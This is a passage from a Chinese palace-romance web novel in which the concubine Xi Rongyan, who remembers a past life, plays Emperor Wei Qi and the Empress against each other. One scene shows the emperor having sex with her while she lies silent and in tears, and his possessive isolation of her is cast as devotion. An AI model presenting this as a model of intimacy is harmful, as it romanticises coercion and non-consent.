这模样亦取悦了魏祁,人白白净净的小脸儿就埋在自己怀里,比起前世冷冰冰的模样,这样的席容烟才是他真正所求的。
心潮澎湃里,又翻身压着人在怀里抱紧。
第二日下午的时候,魏祁将折子都让人送来了承乾宫。
又抱着席容烟坐在怀里,他低头看奏折。
席容烟手上拿着花绷子给魏祁绣荷包的花样,低头的模样格外认真。
魏祁时不时往席容烟的身上看去一眼,又看向席容烟绣布上的图案。
他看着上头的一只绣了一半的喜鹊问:“烟儿要为朕绣什么?”
席容烟抬头:“臣妾打算为皇上绣喜上眉梢的图案。”
魏祁挑眉,对这图案并不算满意。
他原以为她会为自己绣上表达她情意的图案的。
他又问:“烟儿要绣几只?”
那荷包本不大,席容烟只打算绣一只便罢了,就道:“一只吧。”
魏祁沉眸,伸手指在那半只喜鹊的旁边:“这里再绣一只吧。”
“两只站在梅枝上挨着,是烟儿与朕。”
席容烟没想到魏祁居然还有计较这个的时候。
她忽然从遥远的记忆里想起前世里魏祁也要求过她为他做荷包。
他甚至从别处拿了只荷包给她,让她照着绣。
那上头就是一对鸳鸯。
但那时候席容烟厌恶魏祁至极,十分敷衍的绣了个样子,两只鸳鸯也不是紧紧挨着,一前一后,她刻意绣的生疏。
席容烟知晓魏祁发起疯来的恐怖,她现在只想顺从他,让他放松警惕,又自然的点头答应下来。
魏祁脸上带了笑意,又问:“多久能绣好?”
席容烟想了下:“应该要四五日吧。”
魏祁点点头没有再问。
下午的暖光从窗外照进来,室内一片静谧。
席容烟在魏祁的腿上坐久了有些不舒服,可每当她动的时候,魏祁的手便会捏在她的腰上,又将她收紧。
魏祁手指捏在她腰上的时候,让她的身子晃了晃,手上的绣针就不小心正刺到了手指上。
她轻叫一声,手指上很快冒出了血珠。
只是还没等她拿着帕子捂上去,手指就被一只修长的大手握住,等她抬头的时候,就见到自己的手指被含在了魏祁的唇中。
那双沉寂的凤眼正看她,眸色黑沉,看得席容烟心跳加快,心底竟生了股纠结难受来,又别过了脸去。
只是她才一别头,又觉得指尖微微的痒意,脸庞热起来,又看向魏祁,想要收回手。
魏祁看着席容烟的反应,又舔了舔,眼里带了笑意,见着人脸庞红了才松开,又叫高义送药进来,他低头为她擦药,又用帕子为她缠上。
席容烟其实想说那么一点伤口没关系的,可看魏祁为她包裹的仔细,又住了声。
魏祁低低看着席容烟垂着的眼眸,低声问她:“是不是因为朕?”
席容烟摇头道:“是臣妾没有拿好绣针。”
魏祁叹息,又怜爱的往席容烟额上吻了一下。
第134章 过几日你便去明德殿住
席容烟在承乾宫养了小半月,太医每日来把脉,才说最后大好了。
中间太后来看过席容烟两回,又提了家里的事情,让她一切不用担心,好好养病。
席容烟其实并不觉得自己这场落水对身子有什么影响,倒是她最近记性有些差,从前的事情倒是记得,就是最近身边的事情容易忘记。
早上魏祁临走时,对席容烟低声道:“你不用去皇后那里问安。”
“过几日你便去明德殿住。”
席容烟小声答应下来,却又在魏祁走后,收拾好往皇后那里去。
宝珠给席容烟梳妆,忍不住小声问:“皇上都说主子可以不用去皇后那里问安了,主子何必跑一趟。”
席容烟默然看着铜镜内的人,繁复精致的蚕丝裙,回形暗花上绣着梅花,耳畔一对金玉坠,容色红润。
她目光落到宝珠手上的那只玉兰簪上,从宝珠手上拿过来,低眉细看那细致雕琢的心意。
其实她若是想不起从前的事情,魏祁对她的情意她早润进了心里,也会与魏祁好好过这一生。
只是那些血淋淋因为她已经死去的人,她没法子做到若无其事地呆在魏祁的身边。
特别是她死去的孩子。
其实这一世的魏祁改变了许多,温和了许多,与从前总是阴翳的神情天壤之别。
她不知道他脸上是不是带着面具,接着有一天那面具会被他撕碎,露出他本来的面目来。
但她却从心底生出一股不忍心来。
握在簪子上的手指紧了紧,席容烟看了许久,又戴在发上起身。
宝珠和玉竹跟在身边,席容烟让凌姑姑留在殿中就是,她很快回来。
但这回席容烟发觉她身后还跟了两名太监,从前从未见过,看起来还有些高大。
她稍微一细想,便知道是魏祁安排在她身边护她的。
前世魏祁好似也在她身边放了这样两个太监。
去皇后那里的时候,席容烟明显看到皇后看见自己时的眼里闪过诧异。
其实席容烟知晓她落水后皇后和其他妃嫔都来看过她,但从丽妃来过那一次后,魏祁便不许其他人来了。
如今殿内其他人看席容烟的眼里,早没有从前那股若有若无的不喜欢,相反甚至都带着些巴结。
就连性子有些张扬的齐妃看到席容烟,也是含笑隐隐讨好的道:“妹妹的身子瞧着一向不大好,怎么不多养几日?”
席容烟也含笑道:“也没什么大碍的。”
又补了一句:"皇上本也让我不用来皇后娘娘这儿问安,只是我在承乾宫里呆得闷了,想要出来走走。"
这话一落下,其他几人脸色各异。
如今皇上宠宸妃,早已不将规矩礼制放在眼里,更不将皇后放在眼里了。
从前后宫的事情一切大小事都是皇后做主,谁都要看皇后的脸色,如今宸妃来了之后,大抵是皇后都要讨好些宸妃了。
才短短的几月,就封了宸妃。
宸字不轻易的册封,可见皇上对席容烟的宠爱有多甚。
席容烟说完这话的时候,目光含笑对上了皇后。
她看到皇后脸上一闪而过的冷,又强笑着对她端庄道:“皇上疼惜你,也是你的福气。”
“你的身子才最要紧,多养养也是好的。”
席容烟便又羞涩道:“皇后娘娘说的是,皇上疼惜嫔妾,还说过些天让嫔妾去明德殿与皇上同住。”
“嫔妾感激皇上这般疼惜,只愿早些为皇上生下子嗣来。”
宋贺兰的手指微微一紧,脸上完美的神情崩裂的出裂缝,微微倾身看向席容烟:“你说什么?”
席容烟疑惑的抬头:"皇后娘娘怎么了?这是皇上亲口与嫔妾说的。"
自来只有帝后才能同住,哪里有和宠妃同住的。
皇上这般做,又将她这个皇后放在什么位置。
还是说在皇上眼里,自己的这个后位已经不那么重要了。
父亲不是来信说让她别慌,只要北地的战事依旧紧张,皇上就不会轻易动她么。
只要她在这段日子除去了席容烟,她的位置就依旧牢固的。
如今朝廷也在说北地的战事不明,皇上的心思又是什么。
宋贺兰紧紧看着席容烟的脸庞,在光色下羞涩温婉,眉眼清澈晏晏,仿佛被皇上娇养得极好,刚才也不过随口说出的一句话,根本不知道那句话所代表的含义。
她在自己面前说出那样的话,不是将自己这个皇后不放在眼里么。
证明在皇上的心里,她比自己这个皇后还要更重要么。
也是,她从来没有重要过。
丽妃有些担心的看着席容烟,皇后的手段她一向知道,即便皇上真与席容烟这般说了,她现在在皇后面前说出来,只怕要激怒皇后。
这后宫里依旧还有很多人是皇后的眼线,其实上回算是席容烟运气太好,不然她的脸就花了,哪里有皇上的宠爱。
她一直呆在承乾宫反而是好事,那里没有皇后的人和眼线,皇后也拿她没法子。
丽妃有意想要提醒下席容烟,但张张口,到底顾忌着皇后,又生生闭了嘴。
皇后眼睛眯了眯,又笑道:“那妹妹当真是好福气,能与皇上同住的妃子,妹妹大抵是第一个。”
席容烟红了脸庞,余光却在看皇后的神情。
皇后越容不得她,她才能有机会逃脱魏祁。
逼得越紧,才能让皇后做出不理智的事情来。
她要不想伤害其他人,就只能借着皇后的手了。
晨会结束时,宋贺兰紧紧看着席容烟的背影,眼里的冷意早已消褪不去。
如今朝中对恒儿的态度从从前的主动靠拢,又变成了态度不明的试探,就连从前那些巴结忠靖候府的人,现在也不来往了。
她知道,都是因为皇上的态度。
要是让席容烟真的生下了皇子,按着这个势头,太子只怕就与恒儿没什么关系了。
皇上这些日的种种做法,在别人眼里,不都是这个意思么。
她深吸一口气,知道自己与席容烟之间,只能留下一个了。
她目光又落在打算离开的丽妃身上,忽然淡淡地开口:“丽妃,你留下。”
第135章 搬去明德殿
丽妃在听见皇后让她留下的时候,后背就是一凉。
席容烟落水的来龙去脉皇后早就知晓,更知晓席容烟去看过玉婉。
她心底忐忑不安,已隐隐约约猜出皇后要说什么了。
掌心内不由生了汗。
席容烟出去长春宫,也没有直接上了步辇就走,她等了一会儿,没有见到丽妃出来,心里就明白了。
前世里皇后也利用丽妃来害她,但是丽妃的胆子太小,丽妃也更知道,事情要是败露了不成,自己要被皇上处死,事情要是成了,皇后也容不得她这个知道秘密的人活下去。
而丽妃从前只是忠靖候府的一个陪嫁丫头,没有任何人脉权势宠爱,皇后要她死,易如反掌。
前世席容烟发现丽妃想害她是因为丽妃开始问她的喜好,平日里的日常,细到喜欢的茶水点心和习惯。
席容烟开始觉得不对上了心。
后头看到她利用二公主的手,往自己屋子里的角落里扔了一个装着诅咒皇上的荷包,席容烟是有些失望的。
她本以为丽妃算是后宫里安静能结交的人,看来也看错人了。
她本打算将那荷包扔了,当作若无其事,往后再不来往了。
诅咒皇上,往大了说,诛九族都有可能。
但丽妃那天又很快回来,说自己丢了一个荷包去找,想要将那个荷包拿走,没找到又心急如焚。
席容烟将荷包丢在另外一个角落看丽妃的反应,丽妃找到后显然欣喜,还打开看了看里头的东西,又紧张的拿走了。
席容烟知道丽妃大抵不是真心想害她了。
但她后面再没与丽妃来往过,她不与丽妃来往,也拒绝丽妃来找她,她是在护她,不想让她再被皇后利用。
如今这一世,皇后看丽妃与自己有些亲近,大抵是又要利用丽妃了。
前世里皇后对她就已经视为了眼中钉,而她又基本不出殿,更不用去皇后那里问安,很少有妃嫔能够接触到她,唯一能接触她的就是丽妃,所以只能利用丽妃。
席容烟兀自想着心事,上了步辇又抬头看向高高的碧空,心里无言的思绪。
席容烟又去了太后那里,问了太后王宝然和忠靖候府那事。
太后看着席容烟:“的确是有这事,不过皇后到底也是失算一点。"
"王家全族流放,与王家定亲的那个庶姑娘也要跟着流放。”
“说定了亲就是王家的人,是皇上下的旨,当初为这事,听说皇后还去找皇上闹过,但圣旨都下了,皇上连见她一面都没见。”
说着太后看着席容烟:“这事哀家细想,和皇后是脱不了干系的,可皇上没处置皇后,哀家不知道皇上是怎么想的。”
“听说北地现在的战事艰难,正是用到宋家的时候,大抵也是这个缘由。”
“皇上既已经处置了这事,你也别再多问,便当过去了。”
“哀家看得清楚,中宫那个不长久,你倒不用急于这一时。”
席容烟倒没想过要主动去与魏祁提这事,魏祁那样的人,什么都要掌控在手中,又心思深,那出事的后妃里只有王宝然被处死,家里还遭流放,应该是知道是王宝然做的,那后面的皇后他应该也知道的。
皇上没动皇后,她不想去猜测太多的原因。
前世里她记得北地与北燕的战事打打停停,在她进宫第二年底的时候,北地的战事才彻底停了,递了降书。
这会儿离那时候,中间还有好些年,再有她前世并不关心这些事情,北地究竟是如何,她也不知晓。
现在是她利用皇后的时候,皇后要害她,魏祁也知道皇后害她,这就够了。
虽说有些冒险。
从太后那里回去,才在半路就被高公公请到了明德殿。
高公公在路上低声道:“皇上还在宣政殿处理政务,让小的来请娘娘去明德殿瞧瞧,看看哪里还有需要置办的,或娘娘喜欢什么摆设,都可与小的说。”
说着高义微微抬眼,看着那一抹海棠色身形:“皇上吩咐过了,只要是娘娘的喜好,都按着娘娘说的办。”
席容烟跨进了明德殿。
明德殿威严冰凉,冷冰冰的器具,方正的桌椅布置,没有一处温暖的地方,那些风雅的挂画插花更没有。
宽敞又有条理,与魏祁这样的人有些相似。
这样冷冰冰的地方,也没有多余的器具,伺候的宫女也沉默的立在角落,没有一丝声音,更没有一点生动的东西,站在里头都仿佛要打寒颤。
席容烟虽来过这里几回,但却并不喜欢这里。
这里比任何地方都要让人觉得压抑。
高公公引着席容烟往里面走,一边又看着席容烟的神色:“宸妃娘娘觉得还需要加些什么?”
席容烟便没有想过要在这里住多久,她低声道:“这里的布置都好。”
高义愣了下,又问:“那娘娘的梳妆台放在哪儿?”
席容烟随意指了一处窗下的位置:“就那儿吧。”
高义去魏祁那儿回话的时候,魏祁听到席容烟什么都没有要求的时候,手指微微一顿,又摆摆手让他退下。
他眼神上抬,看向下头的皇后牵着魏恒,脸上依旧是冷淡的神色,又垂眸看着手上的奏折。
宋贺兰看到皇上这般淡定的神色,忍不住牵着魏恒往前走了一步,泪眼婆娑:“皇上这是什么意思?”
"皇上这样做,臣妾这个皇后做着还有什么意思?"
“臣妾自嫁给皇上以来,从未出过错,后宫一切也打理的井井有条,皇上如今就这么不在乎臣妾的脸面么。”
魏祁冷淡的皱眉,又看着站在下面哭泣的女人,发上的步摇叮当作响,在大殿中格外噪人。
对于这个一直安静跟着他的女人,魏祁本是打算给她一个好结局的,但她这样不安分,样样要争,在后宫拉拢又利用,手段恶毒,已让他厌烦。
他冷笑:“你若不愿做这个皇后,你现在也可以自请卸任皇后的位置,朕立马召百官下诏。”
第136章 还要朕将心剖开给你看?
宋贺兰愣了愣,呆呆看着那个面容冷酷的人。
她本来早就知道过来会自取其辱,她竟然还对他怀有一丝期望。
期望他顾念着这些年的夫妻情分。
她往后退一步,都是他逼她的。
她手指紧紧握紧魏恒的手,转身离开。
魏祁眼皮也没有抬。
临到中午的时候,他往明德殿去。
一路没有让人通传,他往内殿走,透过屏风看到里头的一抹身影,他脸色缓下来,径直往屏风内去。
一眼便见着坐在软榻上的人,靠着圆形枕,手上正拿着一本书看。
席容烟被高公公留下,让在明德殿等着皇上一起用午膳,她没什么消遣的,就随手从书架上拿了一本地志,看了几页也并没有什么兴致。
又听到细微的脚步声传来,她抬头,就见到魏祁往自己面前走了过来。
她放下书,要站起来迎过去,魏祁却已经站到了自己的面前,捏着她的腰又坐了下去。
魏祁让人拿了生肌膏来,掀开席容烟的袖子,低头为她擦药。
生肌膏一日要擦三回,魏祁但凡有空闲,都会亲自为席容烟擦药,席容烟也习惯了。
手臂上的红痕依旧清晰,擦了这么久,也只是淡了一点。
魏祁垂着眼,低垂的眸子里看不清他的情绪,温热的指尖扫过红痕,带给席容烟一丝丝的痒意。
等药擦完了,魏祁才牵着席容烟一起去外头用膳。
用膳后正是午后慵懒的时候,魏祁抱着席容烟坐在椅上,又才低声问她:“怎么今日去又皇后那里的问安了?”
低低的声音漫不经心,席容烟听不出魏祁到底是什么情绪来。
她知道自己去皇后那里的事情,定然瞒不住魏祁的,也就坦然道:“臣妾在承乾宫太闷了,想要出去走走。”
魏祁揉着席容烟的指尖,又捏着她她手心,淡淡道:“烟儿,往后不用去皇后那里问安了。”
席容烟侧头看向魏祁:“臣妾不去皇后那里,会不会不合礼制。”
“皇后娘娘怎么想?”
魏祁黑眸对上席容烟的眸子:“烟儿今日不是还与皇后说往后会来明德殿与朕同住,这件事又合礼制了?”
“又不担心皇后的想法了?”
席容烟一哑,看着魏祁的眼眸,害怕被他看出什么来,又伸手抱着他的脖子,小声道:“臣妾给皇后娘娘说,是怕皇后娘娘觉得不答应这事,为难臣妾。”
“就事先说了。”
魏祁挑眉:“原来在烟儿的心里,皇后答应,比朕的话还管用。”
席容烟心里发紧,倾身扑到魏祁的怀里小声道:“皇上怎么总说为难臣妾的话?臣妾不过皇上后宫里的一个妃嫔,又有什么本事?”
“臣妾要侍奉皇上,也不敢得罪皇后,皇上就这般说臣妾么?”
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他的手顿在半空,又叹息般地放在席容烟的后背上。
他并不是怪席容烟去皇后面前说了这事。
席容烟的性子他明白,按照她的性子,是不会主动在皇后的面前提起这件事的。
况且他看席容烟的神情,虽说她也顺从地答应,但他还是看出了她的一丝不情愿。
他只是在意席容烟这么做的原因。
这会儿听她娇娇气气的话,好似在他后宫里有诸多委屈一般,他又失笑。
他侧头咬着她耳垂,无奈道:“朕这般宠着你,听烟儿的话好似两头为难了?”
“你还要朕怎么做?”
"一生一世唯一你一人朕都许给了你,还要朕将心剖开给你看?"
那湿湿的吻落在耳垂上,带起阵阵的痒,席容烟颤了颤,捏在魏祁的肩膀上的手指发紧,又小声道:“臣妾不是这个意思……”
肩膀被一双大手握住,她的身子往后,目光与魏祁的目光对视。
那双深黑幽深的眸子正看着她,好似洞察一切,又带着深情:“朝廷里都觉得朕宠你太过了,那些折子日日劝诫朕,怕朕成了昏君。”
“朕为了你,那些都不要紧,朕如何做也容不得别人指摘。”
“我身边只要烟儿一人就够了。”
那双眸子好似要将席容烟的魂魄也要吸进去,她的心跳得很快,却又从心底升起一股伤心。
前世的事情她可以让自己努力忘记,可是这一世魏祁也害死韫玉哥哥。
若是韫玉哥哥没死,她还能说服自己,可现在是再没可能的。
那也是一条活生生的生命。
是因为她死的。
席容烟鼻头酸涩,眼眶里发热,朦胧间有泪意袭来,又垂下眸子轻声道:“臣妾谢皇上这般为臣妾。”
“往后臣妾再不说那些话了。”
魏祁看着席容烟眼里的泪光,指尖抚了抚,他神色复杂的看着那泪,又一声不发的抚着她后背宽慰她。
他又低声道:“往后就安心待在明德殿等着朕来陪你就是,皇后不敢对你如何的。”
“烟儿,你只需要再等等,后宫里很快便只有你一人了。”
席容烟小声问:“那臣妾可以出去散心么?”
魏祁笑了下:“自然可以,就在朕的园子里散心便是。”
席容烟明白魏祁这是要让自己与其他人彻底隔开了。
她抱紧魏祁,又小声道:“可是皇上平日里逛的园子里没有荷花,臣妾能去后宫的园子里吗?”
魏祁的手指一顿,心里虽然不希望席容烟去,但也不想将她束得太紧。
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他拍拍席容烟的后背:“烟儿带着朕给你的人,他们会护你。”
席容烟本以为魏祁会不答应了,本还想着该说些什么让他答应,没想到他这么快就答应了。
她愣了愣,又乖巧地嗯了一声。
到了夜里的时候,魏祁过来得很晚。
但是席容烟也没有睡着。
她睁着眼看着昏暗的床帐,脑中总是不自觉地想起前世的事情。
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第137章 朕也会难受的
她想起那天她和婆婆从庄子里回来,她采了些庄子里种的牡丹,打算回去插在瓶里。
那是一个和熙的午后。
下人们说她的夫君进宫后回来就一直关在了书房里,午膳也不用。
她还记得她推开书房看见的那一幕。
那双悬空的脚,和那双从来对她温柔如水的眼眸,正全是血色的看着她。
周遭很安静,席容烟在昏暗中闭上眼睛,不想再去想。
又想起了盛儿死的那天。
想起盛儿的时候,心里头现在还是会很伤心,那个孩子陪着她不吵不闹,听话又懂事。
她本想好好护好那个孩子的,她也没能护得住。
床帐外传来了细小的声音,那股熟悉的味道袭来,席容烟一愣,知道魏祁来了,又转过了身去。
她知晓不愿去想了,说不上是谁的错,她也不想怪任何人。
昏暗的光线传进来,又很快暗下去,身后传来细细的动静,紧接着一个高大的身躯贴上来,一只手环上她的腰,又用了些力,将她的身子贴紧在身后的胸膛里。
席容烟闭着眼睛,眼眶的湿润染湿了脸颊下的枕头,她安静的不发一声。
她心底对魏祁生出一股从未有过的复杂情感,让她左右摇摆。
那只放在她腰上的手指落到她的腰上,后颈窝处传来细细的热意和舔吻。
那吻在肩膀上往下,一直吻到了席容烟的后背上。
席容烟咬着唇让自己没有反应,虽说不想再想前世的事情,但此刻更没有心思。
魏祁亲了亲,见人没有反应,他低低喊了喊她:“烟儿。”
只是他唤了好几声,也没有得到丝毫回应。
今夜他本想早点过来的,奈何北地的事情他要处置好,耽搁了一些时辰。
他知晓席容烟一向睡得早,又不忍心打搅她入睡。
深吸一口气,到底还是想要她的欲望占据了上风,即便得不到她的回应,他便小心的触碰,又从她身后抵上去。
魏祁低低唤着席容烟的名字,又伸手绕到她的身前,与她的手指十指紧扣,又捏紧。
结束的时候,魏祁喘息,紧紧抱着席容烟的身子许久才缓下来。
他心满意足,想要将背对着的人抱过来温存,他小心的翻过她的身子,想要吻吻她,只是手指在要碰到席容烟的脸庞时,他却感受到席容烟躲避的别开了脸。
他一愣,手指追过去抚在席容烟脸上,却入手一片冰凉的潮湿。
魏祁的心一紧,唤她:“烟儿?”
唤了她两声,换来的也是无声的沉默。
魏祁掀开床帐,外头昏暗的光线照进来,魏祁低头看向席容烟别过脸去的脸庞,只看到她闭着的通红的眼睛,还有那脸颊上残留的泪痕。
魏祁心一疼,伸手捧着她脸庞让她转头,却看到她满是牙印的红唇,鼻头通红,眼睛闭着没有睁眼,眼角还有泪痕往鬓发里滑落。
记住本站: 这一刻魏祁的心里说不出是什么滋味。
那布满牙印的红唇在告诉他,刚才她一直醒着,她在强忍着,也不愿给他任何回应。
她脸上这么多泪痕,她又哭了多久。
魏祁闭了闭眼,又俯身:“看着朕。”
席容烟听到魏祁的声音,捏紧的袖口上的手指,睁开了眼。
眼里残留着一些泪意,魏祁的脸庞就在自己面前,面无表情的看着他,眉头微皱,眼底深邃。
魏祁撑在席容烟面前,一只手擦去她眼里的泪光,又低声问她:“是朕吵醒你了么?”
席容烟垂着眼帘,不想看魏祁那双眼睛,越是深夜,她就越是难受。
她甚至有一瞬想着不愿想起来。
她只是摇头,不想说话。
魏祁捏着席容烟的下巴,不让她低头,又问她:“是朕弄疼你了?”
魏祁的手指捏的很高,让她有一些微微的疼,让她不得不仰着头对上魏祁的眼睛。
她依旧摇头。
始终不肯开口。
魏祁看着席容烟这态度,深吸一口气,又缓了语气问:“刚才朕唤你,为什么不应朕?”
“你若是不想,朕也不会逼你的。”
“烟儿,朕要你说话。”
席容烟顿了顿,抬眸看着魏祁的眼睛:“臣妾只是又做噩梦了。”
“臣妾的梦里有一个人,她将臣妾按在冰凉的地上,无论臣妾怎么求饶,他也不肯放过臣妾。”
“臣妾知道刚才身后的人是皇上,只是臣妾还在梦里分不清,又不想拒绝皇上。”
说着席容烟看着魏祁的眼睛:“皇上,若是真的有这样一个人对臣妾,臣妾应该怎么办?”
魏祁一顿,深深看着席容烟的泪眼,又无声的低头抱着她:“烟儿,那只是梦。”
他又弯腰吻上她的眼睛,低声道:“不会有人那样对你,有朕在你的身边,谁也伤害不了你。”
“都怪朕来晚了,下回朕早点回来陪你。”
那些他曾经在席容烟身上做过的事情,他现在也是后悔的。
席容烟深埋在魏祁的怀里,沙哑道:“臣妾梦里的那个男人太可怕了,他像是恶鬼一样缠着臣妾,臣妾再也不想梦见他了。”
魏祁的手指微微一紧,又无声的放在席容烟的后背上。
席容烟委屈的声音又传来:“只是臣妾看不清他的样子,皇上会怪臣妾做这样的梦么?”
魏祁缓声安慰道:“那只是梦境,朕怎么会怪你。”
说着他又吐出一口气:“烟儿,不用去想那些梦,你只想着朕在你身边就够了。”
记住本站: 席容烟眼眶里又润出一抹泪光,听话的点头。
下巴又被魏祁抬起来,那只带着薄茧的手指落到她的唇上,幽深的眸子看着那饱满唇畔上深深地印子,隐隐见了血色。
魏祁看着席容烟的眼睛:“疼么?”
席容烟摇头:“不疼。”
魏祁弯腰舔上去,有淡淡的血腥味。
他从她唇瓣上探进去,在席容烟快要憋不住气时魏祁才抬头,深不见底的眸子看着她:“下回不管什么事情,再别忍着。”
“烟儿,朕也会难受的。”
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第138章 我知道她要害我
席容烟愣了一下,又轻轻点头。
魏祁并不知道自己到底相信席容烟的话没有。
他历来不愿多想她对自己说的话,尽管刚才席容烟给他的理由他能够察觉到不对,又不愿深想。
她唇上的印子代表她从始至终都在隐忍,一声不吭。
即便她真的是因为梦境不愿,为什么连一丝反应都不给他。
在她心里,自己是不管不顾要她身子的人么。
魏祁深吸一口气,打断自己的思绪,又放下帘子,重新将席容烟拥入怀中。
怀里的人这时候很安静,呼吸匀称。
魏祁的手指落在席容烟眼角,没有再落泪。
他抿了抿唇角,又闭上眼睛。
第二日的时候,魏祁离开前沐了浴,回来见席容烟还在睡,便没有过去,先离开了。
席容烟感觉到那身形离开,才睁开了眼睛。
她又睡了一会儿,今日便没有打算往皇后那里去了。
皇后接触不到她,只有丽妃能够接触她,皇后更只能通过丽妃的手。
起身后去沐浴,席容烟叫宝珠去请丽妃来。
宝珠一愣,问道:“主子请丽妃来做什么?”
席容烟手上拿着绣布,背对着窗坐在罗汉塌上,看着快绣好的图样低声道:“我的梅花绣不好,听说丽妃的绣工厉害,我请教她些。”
宝珠想说怎么从前没听说过主子不会绣梅花了。
她也没有多想,赶紧去请。
宝珠一走,凌姑姑进来站到席容烟身边低声道:“娘娘才遭人暗算,这些日子还是小心些。”
“皇上的意思是娘娘还是要少与她们来往。”
席容烟知道,现在凌姑姑对她说的,就是魏祁的想法。
她自然而然的抬头含笑道:“我喜欢二公主,也喜欢丽妃,你放心就是,我明白防人的。”
“等我见着皇上了,也会与皇上说的。”
凌姑姑欲言又止,到底也不敢多劝,默不作声的退下。
等到丽妃过来了,席容烟又让玉竹在外头守着,只让丽妃和二公主进屋子来,丽妃身后跟随的宫女就留在外头。
丽妃牵着二公主进来时,看着那安然坐在大花窗下的秀雅身影,脸上并没有多少高兴,反而是心事重重。
席容烟看着丽妃的神色,又转头看向二公主,微微倾身牵着她过来,瞧着二公主漂亮的眉眼,指了指身边的小案笑道:“给你备了些零嘴,你瞧瞧喜欢么?”
二公主往那小案上看去,上头全是她喜欢的,当即眼里一亮,说到:“喜欢。”
又规规矩矩的给席容烟福礼:“玉婉谢过宸妃娘娘。”
席容烟便叫她去另一边坐着去吃,又将目光看向站在她两三步远的丽妃身上。
席容烟看着她拘谨的动作,轻声道:“姐姐,你来我身边坐吧。”
丽妃犹豫一下,还是过去坐在了席容烟的身边。
席容烟往丽妃的手里送去一盏热茶。
丽妃怔怔接过席容烟的茶,又抬头看向席容烟的面容。
眼前那双眸子看着微微有些红晕,唇畔饱满,烟眉水眼,一头冉冉乌发上唯有一根素净的玉兰簪。
又是一身鹅黄色暗花裙,更衬得那容色肤如凝脂,在明朗的日光下白净干净的几乎透明,轻易就就能让人转不开眼。
那膝上还放着一把洒金荷花团扇,紫色宽袖边下一对翠绿的镯子,又秀雅又笔直,冉冉看来,即便是女子也呼吸一窒。
她又回过神来,目光见到席容烟身边放着那一块不大的绣布问:“妹妹要绣荷包么?”
席容烟含笑:“我要为皇上绣一个香囊,只是我不擅长绣梅花,便来请教姐姐。”
丽妃便忙道:“这算不得什么,我教妹妹就是。”
席容烟余光见着屋内站着的宫人,便道:“你们先退出去,我叫你们再进来。”
宫人便都低下头,无声的退了出去。
屋内的下人只剩下了宝珠在,席容烟看着丽妃,开门见山的低声问:“皇后娘娘是不是叫姐姐来对付我?”
丽妃一愣,睁大眼睛看向席容烟,张了张唇,脱口而出的话又忍下来,接着脸色苍白的摇头道:“妹妹怎么这样说,我从来不曾怀有害妹妹的心思。”
席容烟抿了抿唇,认真看着丽妃的眼睛:“姐姐不用骗我,上回姐姐与我说那话,不就是暗示我那猫伤我的事情与皇后娘娘有关,让我小心皇后娘娘么。”
丽妃哑了哑。
她提醒席容烟那话,的确是为了让席容烟防着皇后。
让席容烟知道那猫的事情不是那么简单,真正要害她的也不是王宝然,是皇后。
但是她还有一个原因。
因为皇上太宠席容烟了,那回的事,仅仅只是有一点相干的就被惩治的那样严重。
丽妃再不想活在皇后的阴影下头,皇后也从来也未将她放在眼里过,将来更不会管顾自己女儿的婚事。
她心底深处更想让皇后失势,让席容烟坐上那个位置,那时候的后宫真的会和谐许多,席容烟也对自己女儿好,将来说不定也会多照顾自己女儿的。
她是想让席容烟将这个说给皇上,让皇上对皇后生厌,也处置了皇后。
她再呆在皇后的手底下,早晚有一天会被当作替死鬼推出去,王宝然便是个例子。
谢雨眠也是个例子。
这后宫里看似平静,可底下的暗涌多是皇后挑拨起来的,她战战兢兢到今日,皇后终于也要将她推出去送死了。
席容烟出事,皇上怎么可能查不到她,到时候第一个死的也是她。
但现在丽妃想不明白席容烟这会儿问她这句话的意思,她也更不敢认。
皇上的手段根本不是她能承受的。
她犹豫了许久才道:“我之前那话的确是想提醒妹妹,但是妹妹信我,我没想过要害妹妹的。”
席容烟知道丽妃不敢承认,是还没有完全信自己。
她抿了唇,又低声道:“姐姐不必瞒我,我早就知道皇后还让姐姐故意接近我,再找机会害我性命。”
“应该从麓山时皇后就已经打算这么安排了。”
丽妃瞪大眼睛看向席容烟:“妹妹,你……”
她的心跳的很快,不知道席容烟怎么知道的。
那她早就知道了,那这些日子她对自己……
她的心里忽然生出了一股不安来。
席容烟没想过为难丽妃,上一世,丽妃从始至终也没有害过她,相反她对盛儿很好,也提醒过她离皇后和大殿下远些。
第139章 你只需要信朕便是
魏祁的声音虽然很淡,低沉的声音缓缓,并不能听出多少喜怒的情绪。
但席容烟还是从魏祁的话里听出了一些不容拒绝的意思来。
席容烟看着魏祁:“臣妾在宫里也没有说话的人,偶尔与丽妃说说话便不行么?”
魏祁抿唇。
不是他非要将席容烟拢在自己的范围内,他只是想护着她罢了。
丽妃不过是皇后手里看着无害的棋子,这样的人最容易被忽略。
但丽妃还算聪明,上一世没有去陷害席容烟,但事情总有变化,他不能再让席容烟出一丝差错。
魏祁看着席容烟并不理解的眸子,眼中隐隐有些怨怪他,他沉默,并不想与她解释。
是他将她拉进这深宫里的,他已经让她受了一次伤,害怕她再出事,他真的也承受不住。
即便这会儿她心里怨怪他也罢了。
魏祁垂眸,又淡声道:“烟儿要是觉得没有说话的人,往后便陪朕去宣政殿的书房吧。”
“朕偶尔也可以陪烟儿说话。”
席容烟一愣。
让魏祁陪她说话?
魏祁的话比她还少,她去宣政殿的书房,反而更不自在。
席容烟口上敷衍的答应下来,不想这时候与魏祁争辩。
魏祁低头看席容烟这般听话,又按着她的后背让她扑在自己怀里,又问:“今日丽妃来,你让屋内的人都出去了,在说什么话?”
那双黑沉沉的眸子就看着席容烟,洞察一切,仿佛不容得她说谎。
席容烟就知道魏祁会问,她面容自然将眼眸对上魏祁的眼睛:“臣妾向丽妃讨教梅花的刺绣,臣妾不想叫人知晓臣妾的梅花绣不好。”
说着席容烟手指放在魏祁的衣襟上,垂着眸子:“臣妾好歹从小习女工,要是传出去臣妾女工不好,旁人不是议论臣妾?”
魏祁挑眉:“那你又不担心丽妃传出去了?”
席容烟便小声道:“我瞧丽妃性子温和,看起来心肠极好,应该不会传出去吧。”
魏祁深深看着席容烟,他虽不知道席容烟的女工到底如何,但至少在外人传出来的是,她女工和书画都极好。
虽说外人都说席家的四姑娘温婉娴淑,端方明秀,她在外的名声一向好,但他并不觉得席容烟会这么在乎这些名声。
魏祁垂着眼:“烟儿,朕不明白你为什么会这么信任她。”
“你应该知道,她是皇后的人。”
席容烟听到这里,心里一顿,抬头看着魏祁:“她是皇后的人又如何?难道在皇上心里,皇后会害臣妾么?”
魏祁手掌捏在席容谈的腰上,抿了抿唇:“你觉得呢。”
席容烟摇头:“臣妾不知道。”
